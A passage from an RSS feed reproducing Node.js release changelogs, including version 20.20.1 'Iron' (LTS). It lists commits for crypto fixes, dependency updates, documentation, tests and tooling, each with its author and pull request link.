<li>[<a href="https://github.com/nodejs/node/commit/f3d3968dcd"><code>f3d3968dcd</code></a>] - <em><strong>Revert</strong></em> "<strong>build</strong>: add temporal test on GHA windows" (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61810" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61810/hovercard">#61810</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e55eddea2a"><code>e55eddea2a</code></a>] - <strong>build, doc</strong>: use new api doc tooling (flakey5) <a href="https://github.com/nodejs/node/pull/57343" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57343/hovercard">#57343</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7715292f8"><code>b7715292f8</code></a>] - <strong>child_process</strong>: add tracing channel for spawn (Marco) <a href="https://github.com/nodejs/node/pull/61836" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61836/hovercard">#61836</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a32a598748"><code>a32a598748</code></a>] - <strong>crypto</strong>: fix missing nullptr check on RSA_new() (ndossche) <a href="https://github.com/nodejs/node/pull/61888" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61888/hovercard">#61888</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc384f95b3"><code>dc384f95b3</code></a>] - <strong>crypto</strong>: fix handling of null BUF_MEM* in ToV8Value() (Nora Dossche) <a href="https://github.com/nodejs/node/pull/61885" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61885/hovercard">#61885</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3337b095db"><code>3337b095db</code></a>] - <strong>crypto</strong>: fix potential null pointer dereference when BIO_meth_new() fails (Nora Dossche) <a href="https://github.com/nodejs/node/pull/61788" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61788/hovercard">#61788</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/51ded81139"><code>51ded81139</code></a>] - <strong>deps</strong>: update undici to 7.22.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62035" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62035/hovercard">#62035</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8aa2fde931"><code>8aa2fde931</code></a>] - <strong>deps</strong>: update minimatch to 10.2.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62016/hovercard">#62016</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57dc092eaf"><code>57dc092eaf</code></a>] - <strong>deps</strong>: upgrade npm to 11.11.0 (npm team) <a href="https://github.com/nodejs/node/pull/61994" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61994/hovercard">#61994</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/705bbd60a9"><code>705bbd60a9</code></a>] - <strong>deps</strong>: update simdjson to 4.3.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61930" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61930/hovercard">#61930</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d411d72e5"><code>4d411d72e5</code></a>] - <strong>deps</strong>: update acorn-walk to 8.3.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61928" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61928/hovercard">#61928</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f53a32ab84"><code>f53a32ab84</code></a>] - <strong>deps</strong>: update acorn to 8.16.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61925" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61925/hovercard">#61925</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9b483fbb27"><code>9b483fbb27</code></a>] - <strong>deps</strong>: update minimatch to 10.2.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61830" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61830/hovercard">#61830</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4e54c103cb"><code>4e54c103cb</code></a>] - <strong>doc</strong>: separate in-types and out-types in SQLite conversion docs (René) <a href="https://github.com/nodejs/node/pull/62034" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62034/hovercard">#62034</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ca78ebbeaa"><code>ca78ebbeaa</code></a>] - <strong>doc</strong>: fix small logic error in DETECT_MODULE_SYNTAX (René) <a href="https://github.com/nodejs/node/pull/62025" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62025/hovercard">#62025</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e6b131f3fe"><code>e6b131f3fe</code></a>] - <strong>doc</strong>: fix module.stripTypeScriptTypes indentation (René) <a href="https://github.com/nodejs/node/pull/61992" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61992/hovercard">#61992</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7508540e19"><code>7508540e19</code></a>] - <strong>doc</strong>: update DEP0040 (punycode) to application type deprecation (Mike McCready) <a href="https://github.com/nodejs/node/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61916/hovercard">#61916</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/33a364cb62"><code>33a364cb62</code></a>] - <strong>doc</strong>: explicitly mention Slack handle (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61986" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61986/hovercard">#61986</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46a61922bd"><code>46a61922bd</code></a>] - <strong>doc</strong>: support toolchain Visual Studio 2022 &amp; 2026 + Windows 11 SDK (Mike McCready) <a href="https://github.com/nodejs/node/pull/61864" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61864/hovercard">#61864</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc12a257aa"><code>dc12a257aa</code></a>] - <strong>doc</strong>: rename invalid <code>function</code> parameter (René) <a href="https://github.com/nodejs/node/pull/61942" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61942/hovercard">#61942</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dafdc0a5b8"><code>dafdc0a5b8</code></a>] - <strong>http</strong>: validate headers in writeEarlyHints (Richard Clarke) <a href="https://github.com/nodejs/node/pull/61897" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61897/hovercard">#61897</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c94b56fa6"><code>3c94b56fa6</code></a>] - <strong>inspector</strong>: unwrap internal/debugger/inspect imports (René) <a href="https://github.com/nodejs/node/pull/61974" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61974/hovercard">#61974</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8a24c17648"><code>8a24c17648</code></a>] - <strong>lib</strong>: improve argument handling in Blob constructor (Ms2ger) <a href="https://github.com/nodejs/node/pull/61980" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61980/hovercard">#61980</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/21d4baf256"><code>21d4baf256</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.32.0 to 4.32.4 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61911" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61911/hovercard">#61911</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59a726a8e3"><code>59a726a8e3</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.14.1 to 2.14.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61909" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61909/hovercard">#61909</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0072b7f991"><code>0072b7f991</code></a>] - <strong>meta</strong>: bump actions/stale from 10.1.1 to 10.2.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61908" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61908/hovercard">#61908</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/999bf22f47"><code>999bf22f47</code></a>] - <strong>repl</strong>: keep reference count for <code>process.on('newListener')</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61895" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61895/hovercard">#61895</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c181e2277"><code>4c181e2277</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>sqlite</strong>: add limits property to DatabaseSync (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61298" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61298/hovercard">#61298</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aee2a18257"><code>aee2a18257</code></a>] - <strong>src</strong>: fix flags argument offset in JSUdpWrap (Weixie Cui) <a href="https://github.com/nodejs/node/pull/61948" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61948/hovercard">#61948</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46ee1eddd7"><code>46ee1eddd7</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src</strong>: add C++ support for diagnostics channels (RafaelGSS) <a href="https://github.com/nodejs/node/pull/61869" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61869/hovercard">#61869</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9ddd1a9c27"><code>9ddd1a9c27</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src,permission</strong>: add --permission-audit (RafaelGSS) <a href="https://github.com/nodejs/node/pull/61869" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61869/hovercard">#61869</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea2df2a16f"><code>ea2df2a16f</code></a>] - <strong>stream</strong>: fix pipeTo to defer writes per WHATWG spec (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61800" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61800/hovercard">#61800</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa0c7b09e0"><code>aa0c7b09e0</code></a>] - <strong>test</strong>: remove unnecessary <code>process.exit</code> calls from test files (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62020" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62020/hovercard">#62020</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ad96a6578f"><code>ad96a6578f</code></a>] - <strong>test</strong>: skip <code>test-url</code> on <code>--shared-ada</code> builds (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62019" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62019/hovercard">#62019</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7c72a31e4b"><code>7c72a31e4b</code></a>] - <strong>test</strong>: skip strace test with shared openssl (Richard Lau) <a href="https://github.com/nodejs/node/pull/61987" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61987/hovercard">#61987</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/604456c163"><code>604456c163</code></a>] - <strong>test</strong>: avoid flaky debugger restart waits (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/61773" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61773/hovercard">#61773</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4890d6bd43"><code>4890d6bd43</code></a>] - <strong>test_runner</strong>: run afterEach on runtime skip (Igor Shevelenkov) <a href="https://github.com/nodejs/node/pull/61525" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61525/hovercard">#61525</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fce2930110"><code>fce2930110</code></a>] - <strong>test_runner</strong>: expose expectFailure message (sangwook) <a href="https://github.com/nodejs/node/pull/61563" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61563/hovercard">#61563</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0d97ec4044"><code>0d97ec4044</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: expose worker ID for concurrent test execution (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61394" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61394/hovercard">#61394</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/243e6b2009"><code>243e6b2009</code></a>] - <strong>test_runner</strong>: replace native methods with primordials (Ayoub Mabrouk) <a href="https://github.com/nodejs/node/pull/61219" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61219/hovercard">#61219</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bf1ed7e647"><code>bf1ed7e647</code></a>] - <strong>tls</strong>: forward keepAlive, keepAliveInitialDelay, noDelay to socket (Sergey Zelenov) <a href="https://github.com/nodejs/node/pull/62004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62004/hovercard">#62004</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0f15079d94"><code>0f15079d94</code></a>] - <strong>tools</strong>: remove custom logic for skipping <code>test-strace-openat-openssl</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62038" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62038/hovercard">#62038</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54a055a59d"><code>54a055a59d</code></a>] - <strong>tools</strong>: bump minimatch from 3.1.2 to 3.1.3 in <code>/tools/clang-format</code> (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61977" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61977/hovercard">#61977</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a28744cb62"><code>a28744cb62</code></a>] - <strong>tools</strong>: fix permissions for merve update script (Richard Lau) <a href="https://github.com/nodejs/node/pull/62023" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62023/hovercard">#62023</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/31e7936354"><code>31e7936354</code></a>] - <strong>tools</strong>: revert tools GHA workflow to ubuntu-latest (Richard Lau) <a href="https://github.com/nodejs/node/pull/62024" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62024/hovercard">#62024</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0a96a16e1f"><code>0a96a16e1f</code></a>] - <strong>tools</strong>: bump minimatch from 3.1.2 to 3.1.3 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61976" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61976/hovercard">#61976</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f279233412"><code>f279233412</code></a>] - <strong>tools</strong>: roll back to x86 runner on <code>scorecard.yml</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61944" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61944/hovercard">#61944</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/192c0382f4"><code>192c0382f4</code></a>] - <strong>util</strong>: add fast path to stripVTControlCharacters (Hiroki Osame) <a href="https://github.com/nodejs/node/pull/61833" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61833/hovercard">#61833</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-03-05, Version 20.20.1 'Iron' (LTS), @marco-ippolito]]></title>
<description><![CDATA[Notable Changes

[91a66e671c] - build: test on Python 3.14 (Christian Clauss) #59983
[f66056054b] - crypto: update root certificates to NSS 3.119 (Node.js GitHub Bot) #61419
[80feacaddb] - crypto: update root certificates to NSS 3.117 (Node.js GitHub Bot) #60741

Commits

[6f580d5399] - assert: f...]]></description>
<link>https://tsecurity.de/de/3487709/downloads/2026-03-05-version-20201-iron-lts-marco-ippolito/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487709/downloads/2026-03-05-version-20201-iron-lts-marco-ippolito/</guid>
<pubDate>Tue, 05 May 2026 02:03:09 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/91a66e671c"><code>91a66e671c</code></a>] - <strong>build</strong>: test on Python 3.14 (Christian Clauss) <a href="https://github.com/nodejs/node/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59983/hovercard">#59983</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f66056054b"><code>f66056054b</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.119 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61419" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61419/hovercard">#61419</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/80feacaddb"><code>80feacaddb</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.117 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60741" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60741/hovercard">#60741</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/6f580d5399"><code>6f580d5399</code></a>] - <strong>assert</strong>: fix deepEqual always return true on URL (Xuguang Mei) <a href="https://github.com/nodejs/node/pull/50853" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/50853/hovercard">#50853</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/91a66e671c"><code>91a66e671c</code></a>] - <strong>build</strong>: test on Python 3.14 (Christian Clauss) <a href="https://github.com/nodejs/node/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59983/hovercard">#59983</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc4f7af6f3"><code>cc4f7af6f3</code></a>] - <strong>build</strong>: skip sscache action on non-main branches (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61790" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61790/hovercard">#61790</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f66056054b"><code>f66056054b</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.119 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61419" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61419/hovercard">#61419</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/80feacaddb"><code>80feacaddb</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.117 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60741" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60741/hovercard">#60741</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fa88cc07e2"><code>fa88cc07e2</code></a>] - <strong>crypto</strong>: ensure documented RSA-PSS saltLength default is used (Filip Skokan) <a href="https://github.com/nodejs/node/pull/60662" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60662/hovercard">#60662</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/88b2eec88a"><code>88b2eec88a</code></a>] - <strong>deps</strong>: update minimatch to 10.2.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61830" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61830/hovercard">#61830</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c053264f1"><code>5c053264f1</code></a>] - <strong>deps</strong>: V8: backport 6a0a25abaed3 (Vivian Wang) <a href="https://github.com/nodejs/node/pull/61687" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61687/hovercard">#61687</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a398699d0"><code>4a398699d0</code></a>] - <strong>deps</strong>: update googletest to 5a9c3f9e8d9b90bbbe8feb32902146cb8f7c1757 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61731" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61731/hovercard">#61731</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4fa43adf15"><code>4fa43adf15</code></a>] - <strong>deps</strong>: update googletest to 56efe3983185e3f37e43415d1afa97e3860f187f (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61605" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61605/hovercard">#61605</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1a855d490c"><code>1a855d490c</code></a>] - <strong>deps</strong>: update googletest to 85087857ad10bd407cd6ed2f52f7ea9752db621f (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61417" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61417/hovercard">#61417</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8a9359826"><code>d8a9359826</code></a>] - <strong>deps</strong>: update icu to 78.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60523" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60523/hovercard">#60523</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e79cd3a0bb"><code>e79cd3a0bb</code></a>] - <strong>deps</strong>: update acorn-walk to 8.3.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61928" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61928/hovercard">#61928</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0707ade464"><code>0707ade464</code></a>] - <strong>deps</strong>: update acorn to 8.16.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61925" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61925/hovercard">#61925</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc5a3cddef"><code>dc5a3cddef</code></a>] - <strong>deps</strong>: update llhttp to 9.3.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61827" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61827/hovercard">#61827</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46043b94c7"><code>46043b94c7</code></a>] - <strong>deps</strong>: update zlib to 1.3.1-e00f703 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61135" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61135/hovercard">#61135</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6be15a596e"><code>6be15a596e</code></a>] - <strong>deps</strong>: update cjs-module-lexer to 2.2.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61271" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61271/hovercard">#61271</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10881404cd"><code>10881404cd</code></a>] - <strong>deps</strong>: update timezone to 2025c (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61138" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61138/hovercard">#61138</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1594a78c85"><code>1594a78c85</code></a>] - <strong>deps</strong>: update googletest to 065127f1e4b46c5f14fc73cf8d323c221f9dc68e (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61055" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61055/hovercard">#61055</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7fa2ee1933"><code>7fa2ee1933</code></a>] - <strong>deps</strong>: update zlib to 1.3.1-63d7e16 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60898/hovercard">#60898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/09259532ef"><code>09259532ef</code></a>] - <strong>deps</strong>: update googletest to 1b96fa13f549387b7549cc89e1a785cf143a1a50 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60739" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60739/hovercard">#60739</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa8bdb6886"><code>aa8bdb6886</code></a>] - <strong>deps</strong>: update cjs-module-lexer to 2.1.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60646" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60646/hovercard">#60646</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc849fde27"><code>cc849fde27</code></a>] - <strong>deps</strong>: update googletest to 279f847 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60219" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60219/hovercard">#60219</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a99ba553a2"><code>a99ba553a2</code></a>] - <strong>deps</strong>: update googletest to 50b8600 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/59955" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59955/hovercard">#59955</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6349a79f5f"><code>6349a79f5f</code></a>] - <strong>deps</strong>: update googletest to <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/nodejs/node/commit/7e17b15c304552aa4b939dfc6eea5e9de5d2e264/hovercard" href="https://github.com/nodejs/node/commit/7e17b15c304552aa4b939dfc6eea5e9de5d2e264"><tt>7e17b15</tt></a> (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/59131" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59131/hovercard">#59131</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8ba759f1a0"><code>8ba759f1a0</code></a>] - <strong>deps</strong>: update googletest to 35b75a2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/58710" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58710/hovercard">#58710</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/927d906850"><code>927d906850</code></a>] - <strong>deps</strong>: update googletest to <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/nodejs/node/commit/e9092b1a128a1481b63f7f83039237d47503a048/hovercard" href="https://github.com/nodejs/node/commit/e9092b1a128a1481b63f7f83039237d47503a048"><tt>e9092b1</tt></a> (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/58565" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58565/hovercard">#58565</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bf8919f5c2"><code>bf8919f5c2</code></a>] - <strong>deps</strong>: update googletest to <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/nodejs/node/commit/0bdccf462a57fc9ec2d22533f0754ac1a52c8057/hovercard" href="https://github.com/nodejs/node/commit/0bdccf462a57fc9ec2d22533f0754ac1a52c8057"><tt>0bdccf4</tt></a> (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/57380" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57380/hovercard">#57380</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ae6231dac0"><code>ae6231dac0</code></a>] - <strong>deps</strong>: update googletest to e235eb3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/56873" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/56873/hovercard">#56873</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0561c62e85"><code>0561c62e85</code></a>] - <strong>deps</strong>: update minimatch to 10.1.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61732" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61732/hovercard">#61732</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f0ef221b0d"><code>f0ef221b0d</code></a>] - <strong>deps</strong>: update minimatch to 10.1.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60543" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60543/hovercard">#60543</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/15bd0da404"><code>15bd0da404</code></a>] - <strong>deps</strong>: update archs files for openssl (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61912/hovercard">#61912</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04d439323f"><code>04d439323f</code></a>] - <strong>deps</strong>: upgrade openssl sources to openssl-3.0.19 (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61912/hovercard">#61912</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ea16d3bd6"><code>2ea16d3bd6</code></a>] - <strong>deps</strong>: update corepack to 0.34.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61510" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61510/hovercard">#61510</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/622f973d1c"><code>622f973d1c</code></a>] - <strong>deps</strong>: update corepack to 0.34.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60842/hovercard">#60842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2cd265d8b9"><code>2cd265d8b9</code></a>] - <strong>deps</strong>: update corepack to 0.34.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60643" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60643/hovercard">#60643</a></li>
